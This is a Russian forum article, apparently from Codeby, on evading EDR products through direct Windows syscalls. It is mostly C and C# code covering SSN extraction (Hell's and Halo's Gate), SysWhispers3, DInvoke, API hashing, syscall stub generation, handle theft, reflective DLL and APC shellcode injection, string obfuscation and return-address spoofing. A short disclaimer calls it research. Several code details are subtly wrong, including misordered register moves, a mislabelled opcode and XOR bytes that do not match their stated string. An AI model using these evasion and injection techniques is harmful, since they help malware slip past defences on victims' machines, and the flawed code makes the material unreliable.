Статья Обход EDR через прямой вызов syscall

1768678717869.webp


Привет, Codeby. На этот материал у меня ушла не одна неделя... Было затронуто множество ранее неизвестных мне языков программирования и методик. Безумно рад поделиться с вами всем изученным и почитать ваше мнение в комментариях!

Сегодня разговор пойдёт не о очередном «малваре-невидимке» с гитхаба, который детектится через 5 минут после заливания на VT. Речь о фундаменте. О прямых системных вызовах (direct syscalls). Методике, которая из категории «магии для избранных» переходит в разряд must-have навыка для любого, кто устал от ложных срабатываний и хочет понять, как оно работает на уровне атомов. Не для скрипт-кидди, а для того, кто хочет держать в руках отвёртку, а не пластиковый нож.

Дисклеймер: Всё написанное ниже - для исследования легитимных продуктов безопасности, пентета, разработки защищённого софта и расширения кругозора. Не для разрушения. Мы здесь за знание, а не за хаос. Знание - нейтрально. Инструмент - нейтрален.
Твой выбор - нет.


1. Введение в ад: почему EDR вообще что-то видит?

Представь себе город (это твой процесс). В городе есть правила - API Windows (kernel32.dll, user32.dll). Чтобы попросить ядро (правительство) сделать что-то глобальное - выделить землю (память), построить дорогу (нить), нужно подать заявку. Ты идёшь в местную мэрию (ntdll.dll), пишешь заявление (формируешь аргументы в регистрах) и опускаешь его в ящик (выполняешь инструкцию syscall). Курьер (процессор) мгновенно доставляет его в правительство (ядро).

Теперь представим, что EDR - это коррумпированная охрана. Они не могут запретить тебе жить в городе, но они:
  1. Повесили камеры в мэрии (Userland Hooks). Каждый раз, когда ты приходишь за бланком NtCreateFile, охранник (хук) записывает, кто ты и что хочешь.
  2. Договорились с чиновниками внутри правительства (Kernel Callbacks). Когда твоё заявление приходит в ядро, срабатывает внутреннее уведомление: «Эй, парень хочет выделить память с правами на исполнение!».
  3. Прослушивают разговоры курьеров (ETW). Система логирования Windows сама по себе болтлива. EDR подписывается на эти события (как Microsoft-Windows-Threat-Intelligence) и получает детальные отчёты о каждом твоём шаге.
Традиционный малвар идёт в мэрию, берёт стандартный бланк, заполняет его и опускает в ящик. Его видят все камеры, о нём знают все чиновники.

Наша цель: Добыть чистый, неиспользованный бланк (найти адрес syscall-инструкции внутри ntdll), скопировать его форму (SSN), научиться заполнять его самостоятельно (формировать аргументы в регистрах), и опустить его в ящик, не заходя в саму мэрию. А ещё лучше - найти служебный вход (альтернативный syscall-гаджет) или подкупить курьера (уязвимость в ядре).

Ключевой момент: EDR хукает не сам системный вызов в ядре (это сложно и опасно), а переходники в userland - функции в ntdll.dll. Прямой syscall - это прыжок через голову этого переходника.


2. Syscall как философский камень.

В x64 мире системный вызов вызывается инструкцией syscall. Это не функция. Это дверь. У каждой двери номер - SSN (System Service Number). Этот номер - индекс в огромной таблице внутри ядра, которая говорит системе, какую именно функцию выполнить.

Где его взять?
Он жёстко зашит в тело каждой функции ntdll. Открой ntdll.dll в дизассемблере. Видишь что-то вроде?

Код:
NtCreateFile:
mov r10, rcx        ; Первый аргумент идёт в r10
mov eax, 55h        ; Вот он! SSN для NtCreateFile в этой версии Windows
    syscall
    ret

0x55 - это и есть SSN. Но вот незадача: он разный для каждой версии Windows. На Windows 10 1909 один, на Windows 11 22H2 - другой. Поэтому хардкодить - путь в ад.

Соглашение о вызовах (x64 fastcall):
  • Первые 4 аргумента идут в регистры: rcx, rdx, r8, r9.
  • Остальные аргументы пушатся в стек. Важно: Для прямого syscall ты должен сам, перед syscall, резервировать в стеке 32 байта («теньовое пространство» - shadow space) + место для остальных аргументов. И да, это головная боль.
  • mov r10, rcx - это обязательный ритуал. Ядро ожидает аргументы в r10 и rdx... почему? Так исторически сложилось.
  • Возвращаемое значение идёт в rax.

3. Классика жанра: Gates.

Вот мы и подошли к сердцу техники.

Hell's Gate (2016, исходно от ReWolf):
Идея гениальна в простоте:
  1. Загружаем копию ntdll.dll с диска (чистую, без хуков).
  2. Вручную парсим её PE-заголовки, находим экспорт NtCreateThreadEx.
  3. Дизассемблируем несколько байт начиная с адреса функции, чтобы извлечь SSN (тот самый mov eax, XX).
  4. Используем этот SSN в своём коде.
Проблема: EDR начали искать в памяти процессов такие «статичные» вызовы mov eax, 0xXX; syscall. Сигнатура.

Halo's Gate (развитие):
Авторы предложили гениальный трюк. Если в хукнутой функции ntdll в памяти инструкция syscall заменена на jmp [адрес_хука_EDR], то мы:
  1. Ищем инструкцию syscall перед началом функции.
  2. Или перепрыгиваем через jmp и ищем ret после syscall.
    Фактически, мы «скачем» по обрывкам кода, чтобы найти нетронутую пару mov eax, SSN; syscall. Это уже динамический поиск, устойчивый к простому сигнатурному детекту.
Tartarus Gate и подобные (продвинутый уровень):
Зачем вообще лезть в ntdll? SSN хранится в ядре, в KeServiceDescriptorTable (KSDT) или KeServiceDescriptorTableShadow (KSDTS). Если мы можем прочитать память ядра (через уязвимость, легитимный драйвер и т.д.), мы можем получить SSN напрямую из первоисточника. Это уже уровень королевской власти.

Практический кусок кода Hell's Gate-стиля (сильно упрощён):

C:
#include <windows.h>
#include <stdio.h>

// Структура для хранения пары Syscall Number -> Адрес
typedef struct _SYSCALL_ENTRY {
    DWORD SSN;
    PVOID Address;
} SYSCALL_ENTRY;

// Грубый поиск SSN по сигнатуре mov eax, [SSN] (байты B8 ?? ?? ?? ??)
DWORD FindSSNFromBytes(PBYTE functionAddress) {
    for (int i = 0; i < 32; i++) { // Сканируем первые 32 байта
        if (functionAddress[i] == 0xB8) { // opcode для 'mov eax, imm32'
            DWORD ssn = *((PDWORD)(functionAddress + i + 1)); // Следующие 4 байта - это SSN
            return ssn;
        }
    }
    return 0;
}

// Сам вызов. Ассемблер inline для наглядности.
NTSTATUS MyNtCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList,
    DWORD SSN) {

    NTSTATUS status = 0;

    __asm {
        // Подготовка аргументов в регистры (опущена для краткости)
        // ...
        mov r10, rcx // Обязательно!
        mov eax, SSN // Загружаем динамически найденный SSN
        syscall       // Врата открываются
        mov status, eax // Сохраняем результат
    }

    return status;
}

int main() {
    // 1. Загружаем чистую ntdll.dll с диска
    HMODULE hNtdll = LoadLibraryExW(L"C:\\Windows\\System32\\ntdll.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
    // 2. Получаем адрес NtCreateThreadEx
    FARPROC pNtCreateThreadEx = GetProcAddress(hNtdll, "NtCreateThreadEx");
    // 3. Извлекаем SSN
    DWORD ssn = FindSSNFromBytes((PBYTE)pNtCreateThreadEx);
    printf("[+] Found SSN for NtCreateThreadEx: 0x%X\n", ssn);

    // 4. Используем в своём коде...
    // MyNtCreateThreadEx(..., ssn);

    return 0;
}

Это - скелет. В реальности всё сложнее: нужно корректно парсить PE, учитывать релокации, работать со стеком, обрабатывать WoW64. Но суть ясна.

4. Инструментарий палача (практический раздел). Продолжение.

4.4. SysWhispers3: За кулисами автоматизации

Давайте разберём, что на самом деле генерирует SysWhispers3, чтобы не быть просто юзером чужого кода.

После запуска скрипта с параметром --preset common мы получаем два ключевых файла: syscalls.h и syscalls.c. Заглянем в syscalls.c:

C:
// ... Генерация SSN через GetSyscallNumber
DWORD GetSyscallNumber(PCSTR FunctionName) {
// 1. Получаем базовый адрес ntdll.dll из PEB (без вызова GetModuleHandle)
PPEB Peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA Ldr = Peb->Ldr;
PLIST_ENTRY ModuleList = &Ldr->InMemoryOrderModuleList;

PLIST_ENTRY ListEntry = ModuleList->Flink;
PWSTR moduleName = NULL;
while (ListEntry != ModuleList) {
PLDR_DATA_TABLE_ENTRY Entry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (Entry->BaseDllName.Buffer) {
// Сравниваем имя модуля с "ntdll.dll"
// ... (опущено для краткости)
}
ListEntry = ListEntry->Flink;
 }

// 2. Парсим EAT (Export Address Table) найденного модуля, чтобы получить адрес функции
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)moduleBase + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)moduleBase +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD functions = (PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfFunctions);
PDWORD names = (PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfNames);
PWORD ordinals = (PWORD)((LPBYTE)moduleBase + exportDir->AddressOfNameOrdinals);

// 3. Ищем нужное имя функции
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
PCHAR functionName = (PCHAR)moduleBase + names[i];
if (_stricmp(functionName, FunctionName) == 0) {
PBYTE functionAddress = (PBYTE)moduleBase + functions[ordinals[i]];
// 4. Диссемблируем начало функции для извлечения SSN
return ExtractSSNFromFunction(functionAddress);
}
}
return 0;
}

// Сама функция-обёртка для NtAllocateVirtualMemory
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_(*RegionSize)) PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect) {
   
// Получаем SSN для текущей функции (кэшируется)
static DWORD cachedSSN = 0;
if (cachedSSN == 0) {
cachedSSN = GetSyscallNumber("NtAllocateVirtualMemory");
 }

// Ассемблерный код с правильным распределением аргументов
__asm {
; Подготовка аргументов в регистры (x64 fastcall)
mov r10, rcx        ; Первый аргумент (ProcessHandle) -> r10
mov rcx, ProcessHandle
mov rdx, BaseAddress
mov r8, ZeroBits
mov r9, RegionSize
       
 ; Аргументы после четвёртого идут в стек
; AllocationType (5-й)
mov rax, AllocationType
mov [rsp+32], rax
; Protect (6-й)
mov rax, Protect
mov [rsp+40], rax
       
 ; Вызов
mov eax, cachedSSN
        syscall
        ret
}
}

Критические замечания по коду:
  1. GetSyscallNumber использует PEB для поиска ntdll.dll. Это уже лучше, чем GetModuleHandle, но всё ещё оставляет следы в памяти (поиск по имени модуля). Оптимальнее - хардкодить базовый адрес ntdll (он часто постоянный для одной версии ОС) или получать его через NtQueryInformationProcess с классом ProcessModuleInformation.
  2. ExtractSSNFromFunction - это упрощённый Hell's Gate. В реальности SysWhispers3 использует более сложную логику, похожую на Halo's Gate, с поиском syscall и движением вверх по коду.
  3. Кэширование SSN - хорошо, но статическая переменная в функции может быть проблемой для многопоточности. Лучше вынести кэш в глобальную структуру с синхронизацией.
Вывод: SysWhispers3 - отличный старт, но для продакшена его нужно дорабатывать. Особенно в части обфускации и поиска SSN.

4.5. DInvoke: Мощь и гибкость C#

DInvoke - это не просто библиотека для syscall, это целый арсенал для операций в памяти. Рассмотрим ключевые моменты.

Динамический вызов через делегаты (без P/Invoke):

C#:
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;

public class SyscallsExample {
    // Делегат для NtAllocateVirtualMemory
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate NTSTATUS NtAllocateVirtualMemoryDelegate(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        IntPtr ZeroBits,
        ref IntPtr RegionSize,
        uint AllocationType,
        uint Protect);

    public static void Execute() {
        // 1. Получаем адрес NtAllocateVirtualMemory из ntdll.dll в памяти
        IntPtr ntdll = Generic.GetLoadedModuleAddress("ntdll.dll");
        IntPtr funcAddr = Generic.GetExportAddress(ntdll, "NtAllocateVirtualMemory");
       
        // 2. Создаём делегат для вызова
        NtAllocateVirtualMemoryDelegate ntAllocateVirtualMemory =
            (NtAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(NtAllocateVirtualMemoryDelegate));
       
        // 3. Вызываем функцию через делегат (это вызов через ntdll, но без статического P/Invoke)
        IntPtr baseAddress = IntPtr.Zero;
        IntPtr regionSize = (IntPtr)0x1000;
        NTSTATUS status = ntAllocateVirtualMemory(
            Process.GetCurrentProcess().Handle,
            ref baseAddress,
            IntPtr.Zero,
            ref regionSize,
            0x3000, // MEM_COMMIT | MEM_RESERVE
            0x40);  // PAGE_EXECUTE_READWRITE
       
        if (status == NTSTATUS.Success) {
            Console.WriteLine($"[+] Memory allocated at 0x{baseAddress.ToInt64():X}");
        }
    }
}

Прямые syscall через DInvoke:
Библиотека предоставляет класс Syscalls с готовыми методами, но они могут быть сигнатурными. Лучше использовать динамическую генерацию:

C#:
using DInvoke.Syscalls;

public class DirectSyscallExample {
    public static void Execute() {
        // Использование встроенного метода (использует технику, аналогичную SysWhispers)
        var result = Syscalls.NtAllocateVirtualMemory(
            Process.GetCurrentProcess().Handle,
            ref baseAddress,
            IntPtr.Zero,
            ref regionSize,
            0x3000,
            0x40);
       
        // Но лучше использовать свой собственный resolver SSN
        // DInvoke позволяет подменить метод получения SSN
    }
}

Сильные стороны DInvoke:
  • ManualMap: Загрузка DLL прямо из памяти (техника, известная как reflective DLL injection), без использования LoadLibrary.
  • Overload: Поддельные вызовы для обхода хуков (например, вызов NtWriteVirtualMemory через ZwWriteVirtualMemory с другими параметрами).
  • Парсинг PE-файлов: Утилиты для работы с заголовками PE, что полезно для ручного маппинга.
Пример ManualMap с DInvoke:

C#:
using DInvoke.ManualMap;

public class ManualMapExample {
    public static void Execute() {
        // 1. Читаем DLL с диска в байтовый массив
        byte[] dllBytes = File.ReadAllBytes("mylib.dll");
       
        // 2. Маппим DLL в память текущего процесса
        var mappedModule = Map.MapModuleToMemory(dllBytes);
       
        // 3. Получаем адрес экспортируемой функции
        IntPtr functionAddress = Generic.GetExportAddress(mappedModule.ModuleBase, "MyExport");
       
        // 4. Создаём делегат и вызываем
        // ...
    }
}

Важно: ManualMap оставляет характерные следы в памяти (например, невыровненные регионы памяти с правами PAGE_EXECUTE_READWRITE). Продвинутые EDR (например, Elastic Endpoint) детектят это через дампы памяти.

4.6. Собственные решения: зачем и как

Когда вы пишете свой инструмент с нуля, вы контролируете каждый байт. Рассмотрим ключевые компоненты.

А. Поиск базового адреса ntdll.dll через PEB (без WinAPI):

C:
#include <windows.h>
#include <winternl.h>

PVOID GetNtdllBase() {
    PPEB peb = (PPEB)__readgsqword(0x60); // PEB для x64
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY moduleList = &ldr->InMemoryOrderModuleList;
   
    PLIST_ENTRY listEntry = moduleList->Flink;
    while (listEntry != moduleList) {
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
       
        // Проверяем имя модуля
        UNICODE_STRING ntdllName;
        RtlInitUnicodeString(&ntdllName, L"ntdll.dll");
        if (RtlCompareUnicodeString(&entry->BaseDllName, &ntdllName, TRUE) == 0) {
            return entry->DllBase;
        }
       
        listEntry = listEntry->Flink;
    }
    return NULL;
}

Б. Парсинг PE и поиск экспорта по хэшу (чтобы не светить строки):

C:
DWORD HashStringDjb2A(const char* str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++)) {
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
    }
    return hash;
}

PVOID GetFunctionAddressByHash(PVOID moduleBase, DWORD targetHash) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)moduleBase + dosHeader->e_lfanew);
   
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)moduleBase +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
   
    PDWORD functions = (PDWORD)((PBYTE)moduleBase + exportDir->AddressOfFunctions);
    PDWORD names = (PDWORD)((PBYTE)moduleBase + exportDir->AddressOfNames);
    PWORD ordinals = (PWORD)((PBYTE)moduleBase + exportDir->AddressOfNameOrdinals);
   
    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        PCHAR functionName = (PCHAR)moduleBase + names[i];
        DWORD functionHash = HashStringDjb2A(functionName);
       
        if (functionHash == targetHash) {
            return (PBYTE)moduleBase + functions[ordinals[i]];
        }
    }
    return NULL;
}

// Использование:
#define HASH_NTALLOCATEVIRTUALMEMORY 0x9122A2B3 // Предварительно вычисленный хэш
PVOID funcAddr = GetFunctionAddressByHash(ntdllBase, HASH_NTALLOCATEVIRTUALMEMORY);

В. Извлечение SSN через Halo's Gate (улучшенная версия):

C:
DWORD ExtractSSN(PVOID functionAddress) {
    PBYTE p = (PBYTE)functionAddress;
   
    // Ищем syscall (0F 05) или sysret (0F 07)
    for (int i = 0; i < 256; i++) { // Ограничиваем поиск
        if (p[i] == 0x0F && (p[i+1] == 0x05 || p[i+1] == 0x07)) {
            // Нашли syscall/sysret, теперь ищем mov eax, SSN перед ним
            for (int j = i; j > i - 32; j--) { // Ищем в пределах 32 байт назад
                if (p[j] == 0xB8) { // mov eax, imm32
                    return *((PDWORD)(p + j + 1));
                }
            }
        }
    }
   
    // Если не нашли, возможно, функция захукана (jmp на детектор)
    // Ищем jmp (E9) или jmp [mem] (FF 25)
    if (p[0] == 0xE9 || (p[0] == 0xFF && p[1] == 0x25)) {
        // Вычисляем адрес перехода
        PVOID jumpTarget = // ... (разбор jmp)
        // Рекурсивно ищем SSN по новому адресу
        return ExtractSSN(jumpTarget);
    }
   
    return 0;
}

Г. Генерация shellcode с прямыми syscall на лету:

Иногда нужно, чтобы shellcode сам использовал прямые syscall. Для этого можно сгенерировать код в памяти.

C:
void GenerateSyscallStub(DWORD ssn, PVOID stubBuffer) {
    // Код для x64: mov r10, rcx; mov eax, SSN; syscall; ret
    BYTE code[] = {
        0x49, 0x8B, 0xD1,             // mov r10, rcx (альтернатива: 0x4C, 0x8B, 0xD1)
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, SSN
        0x0F, 0x05,                   // syscall
        0xC3                          // ret
    };
   
    // Вставляем SSN
    *((PDWORD)(code + 4)) = ssn;
   
    // Копируем в буфер (который должен быть исполняемым)
    memcpy(stubBuffer, code, sizeof(code));
}

// Использование:
DWORD ssn = ExtractSSN(GetFunctionAddressByHash(ntdllBase, HASH_NTCREATETHREADEX));
PVOID stub = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
GenerateSyscallStub(ssn, stub);

// Теперь stub можно вызывать как функцию
typedef NTSTATUS (*NtCreateThreadExStub)(...);
NtCreateThreadExStub mySyscall = (NtCreateThreadExStub)stub;
mySyscall(...);

Важно: Такой код легко детектируется сигнатурами (например, последовательностью B8 ?? ?? ?? ?? 0F 05 C3). Нужно обфусцировать: добавить NOP-ы, изменить порядок инструкций, использовать эквивалентные инструкции.


5. Готовим почву: как заставить это работать в реальной жизни. Продолжение.

5.5. Проблема аргументов: Шифрование и маскировка

Когда вы вызываете NtAllocateVirtualMemory с параметрами PAGE_EXECUTE_READWRITE и MEM_COMMIT | MEM_RESERVE, это красный флаг. Решение - разделить операцию и использовать менее подозрительные флаги на каждом этапе.

Пример разделённого выделения памяти:

C:
// 1. Выделяем память с правами PAGE_READWRITE (менее подозрительно)
status = NtAllocateVirtualMemory(
    hProcess,
    &baseAddr,
    0,
    &size,
    MEM_RESERVE,  // Только резервируем, не коммитим
    PAGE_READWRITE);

// 2. Коммитим регион с теми же правами
SIZE_T commitSize = 0x1000;
status = NtAllocateVirtualMemory(
    hProcess,
    &baseAddr,
    0,
    &commitSize,
    MEM_COMMIT,   // Теперь коммитим
    PAGE_READWRITE);

// 3. Меняем защиту на PAGE_EXECUTE_READ (или PAGE_EXECUTE_READWRITE, если нужно писать)
DWORD oldProtect;
status = NtProtectVirtualMemory(
    hProcess,
    &baseAddr,
    &commitSize,
    PAGE_EXECUTE_READ,
    &oldProtect);

Это создаёт три syscall вместо одного, но каждый из них выглядит менее подозрительно.

5.6. Работа с Handle: кража и дублирование

Прямые syscall часто требуют передачи handle процесса или потока. Использование GetCurrentProcess() или OpenProcess с PROCESS_ALL_ACCESS подозрительно.

А. Кража handle из легитимного процесса:
Многие процессы имеют открытые handle к другим процессам (например, svchost.exe часто имеет handle к lsass.exe с ограниченными правами). Можно найти и скопировать такой handle.

C:
NTSTATUS StealHandle(DWORD targetPid, PHANDLE stolenHandle) {
    // 1. Получаем список всех handle в системе через NtQuerySystemInformation
    // 2. Ищем handle типа Process с целевым PID
    // 3. Дублируем handle через NtDuplicateObject
    // 4. Возвращаем дубликат
}

Б. Создание handle с минимально необходимыми правами:
Вместо PROCESS_ALL_ACCESS используйте конкретные права:
  • PROCESS_VM_OPERATION для выделения/освобождения памяти
  • PROCESS_VM_WRITE для записи в память
  • PROCESS_VM_READ для чтения памяти
  • PROCESS_CREATE_THREAD для создания потока

C:
HANDLE OpenProcessWithMinimalRights(DWORD pid) {
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    CLIENT_ID cid = { (HANDLE)pid, NULL };
    HANDLE hProcess = NULL;
   
    NTSTATUS status = NtOpenProcess(
        &hProcess,
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
        &oa,
        &cid);
   
    return (NT_SUCCESS(status)) ? hProcess : NULL;
}

5.7. Уход от детекта по цепочке вызовов

EDR анализируют последовательности syscall. Например, цепочка NtAllocateVirtualMemory -> NtWriteVirtualMemory -> NtCreateThreadEx является классической для инжектора.

Обфускация цепочки:
  1. Добавление мусорных вызовов: Вызывайте легитимные syscall между критичными операциями.

    C:
    // Мусорный вызов
    SYSTEM_TIMEOFDAY_INFORMATION timeInfo;
    NtQuerySystemInformation(SystemTimeOfDayInformation, &timeInfo, sizeof(timeInfo), NULL);
    
    // Критичный вызов
    NtAllocateVirtualMemory(...);
    
    // Ещё мусор
    ULONG debugFlag = 0;
    NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &debugFlag, sizeof(debugFlag), NULL);

  2. Изменение порядка: Например, сначала создайте поток в приостановленном состоянии, затем запишите в память, затем возобновите.
  3. Использование альтернативных методов: Вместо NtCreateThreadEx используйте NtQueueApcThread или RtlCreateUserThread.

6. Сборка Франкенштейна: от сисколла до шеллкода. Углубление.

6.1. Рефлексивная загрузка DLL через прямые syscall

Рефлексивная загрузка - это когда DLL загружает сама себя без помощи LoadLibrary. Это сложнее, но полностью скрыто от EDR.

Пошаговый алгоритм:

C:
NTSTATUS ReflectiveDLLInject(HANDLE hProcess, PBYTE dllBuffer, SIZE_T dllSize) {
    NTSTATUS status = STATUS_SUCCESS;
    PVOID remoteBase = NULL;
    SIZE_T regionSize = dllSize;
    HANDLE hThread = NULL;
   
    // 1. Выделяем память в целевом процессе
    status = NtAllocateVirtualMemory(
        hProcess,
        &remoteBase,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    if (!NT_SUCCESS(status)) return status;
   
    // 2. Копируем DLL в целевой процесс
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(
        hProcess,
        remoteBase,
        dllBuffer,
        dllSize,
        &bytesWritten);
    if (!NT_SUCCESS(status)) {
        NtFreeVirtualMemory(hProcess, &remoteBase, &regionSize, MEM_RELEASE);
        return status;
    }
   
    // 3. Вычисляем точку входа рефлексивного загрузчика
    // Предположим, что DLL имеет экспорт "ReflectiveLoader"
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)remoteBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)remoteBase + dosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)remoteBase +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
   
    PDWORD functions = (PDWORD)((PBYTE)remoteBase + exportDir->AddressOfFunctions);
    PDWORD names = (PDWORD)((PBYTE)remoteBase + exportDir->AddressOfNames);
    PWORD ordinals = (PWORD)((PBYTE)remoteBase + exportDir->AddressOfNameOrdinals);
   
    PVOID reflectiveLoader = NULL;
    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        PCHAR functionName = (PCHAR)remoteBase + names[i];
        if (strcmp(functionName, "ReflectiveLoader") == 0) {
            reflectiveLoader = (PBYTE)remoteBase + functions[ordinals[i]];
            break;
        }
    }
   
    if (!reflectiveLoader) {
        NtFreeVirtualMemory(hProcess, &remoteBase, &regionSize, MEM_RELEASE);
        return STATUS_ENTRYPOINT_NOT_FOUND;
    }
   
    // 4. Создаём удалённый поток, который запустит ReflectiveLoader
    status = NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        reflectiveLoader,
        remoteBase, // Параметр для ReflectiveLoader (базовый адрес DLL)
        0, // CREATE_SUSPENDED? 0 значит сразу запустить
        0,
        0,
        0,
        NULL);
   
    // 5. Ждём завершения загрузки (опционально)
    if (NT_SUCCESS(status)) {
        NtWaitForSingleObject(hThread, FALSE, NULL);
        NtClose(hThread);
    }
   
    return status;
}

Проблемы:
  • ReflectiveLoader должен быть самодостаточным: не использовать импорты, работать только через прямые syscall.
  • Нужно обработать релокации, импорты, TLS-колбэки.
  • Современные EDR детектят рефлексивную загрузку по аномалиям в памяти (невыровненные регионы, смешанные права).

6.2. APC инжекция через NtQueueApcThread

Альтернатива созданию потока - использование APC (Asynchronous Procedure Call). Это может быть менее заметно.

C:
NTSTATUS APCInject(HANDLE hProcess, HANDLE hThread, PVOID shellcode, SIZE_T shellcodeSize) {
    // 1. Выделяем память в целевом процессе
    PVOID remoteAddr = NULL;
    SIZE_T regionSize = shellcodeSize;
    NTSTATUS status = NtAllocateVirtualMemory(
        hProcess,
        &remoteAddr,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
   
    // 2. Пишем шеллкод
    status = NtWriteVirtualMemory(hProcess, remoteAddr, shellcode, shellcodeSize, NULL);
   
    // 3. Ставим APC в очередь к потоку
    status = NtQueueApcThread(
        hThread,
        (PKNORMAL_ROUTINE)remoteAddr, // APC-рутина
        NULL, // Контекст
        NULL, // Argument1
        NULL); // Argument2
   
    // 4. Поток выполнит APC при следующем переходе в alertable state
    return status;
}

Особенности:
  • Поток должен быть в alertable state (например, вызвав SleepEx, WaitForSingleObjectEx и т.д.).
  • Если поток занят, APC может долго не выполняться.
  • Можно использовать NtTestAlert для принудительного выполнения APC.

Хочу добавить про сигнатуры в памяти. Современные EDR не только ищут последовательности инструкций, но и анализируют метаданные памяти. Например, если в твоём шеллкоде есть прямо в коде строки типа "kernel32.dll" или "CreateThread", они будут найдены даже если ты не используешь WinAPI.

Решение: шифровать все строки простым XOR на этапе компиляции, а в рантайме расшифровывать в стеке:

C:
// На этапе компиляции
#define ENC_STR(str) XORString(str, 0x55)

// В коде
char encKernel[] = {0x3e, 0x3c, 0x33, 0x33, 0x30, 0x27, 0x7e, 0x72, 0x72, 0x7b}; // "kernel32.dll" xor 0x55
char kernel[20];
XORDecrypt(encKernel, kernel, sizeof(encKernel), 0x55);
// Теперь kernel содержит "kernel32.dll"
Также важно затирать строки после использования memset(kernel, 0, sizeof(kernel));

Теперь, когда у нас есть рабочий инструментарий, поговорим о том, как EDR учатся детектить прямые syscall, и как оставаться на шаг впереди. Это армейская игра в кошки-мышки, и мы - мыши с PhD по архитектуре x64.

7.1. Детект по аномалиям в потоке выполнения

Современные EDR используют hardware breakpoints и трассировку выполнения (Execution Tracing). Они могут отслеживать, откуда пришёл вызов syscall.

Проблема: Когда вы вызываете syscall из своего кода, регистр RIP (Instruction Pointer) указывает на область памяти, которая:
  1. Не принадлежит известному системному модулю (ntdll.dll).
  2. Часто находится в регионе с правами PAGE_EXECUTE_READWRITE (подозрительно само по себе).
  3. Не имеет правильной структуры функции (нет пролога mov r10, rcx, может отсутствовать эпилог).
Решение 1: Return Address Spoofing (подмена возвращаемого адреса)

Идея: сделать так, чтобы при входе в ядро, в стеке возврата лежал адрес внутри ntdll.dll. Это обманет детекты, которые проверяют цепочку вызовов.

C:
// Пример для x64 с использованием встроенного ассемблера
NTSTATUS SpoofedNtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect,
    DWORD ssn) {
   
    NTSTATUS status = 0;
    PVOID fakeReturnAddress = GetAddressInsideNtdll(); // Находим адрес ret внутри ntdll
   
    __asm {
        // Сохраняем невольные регистры
        push rbx
        push rsi
        push rdi
       
        // Подготавливаем аргументы
        mov r10, rcx
        mov rcx, ProcessHandle
        mov rdx, BaseAddress
        mov r8, ZeroBits
        mov r9, RegionSize
       
        // Аргументы 5 и 6 в стек
        mov rax, AllocationType
        mov [rsp+32], rax
        mov rax, Protect
        mov [rsp+40], rax
       
        // Подменяем возвращаемый адрес
        push fakeReturnAddress  // Кладём поддельный адрес возврата
       
        // Вызов
        mov eax, ssn
        syscall
       
        // После syscall мы вернёмся не сюда, а в ntdll
        // Поэтому следующий код не выполнится напрямую
        add rsp, 8  // Чистим fakeReturnAddress из стека
       
        mov status, eax
       
        pop rdi
        pop rsi
        pop rbx
    }
   
    return status;
}

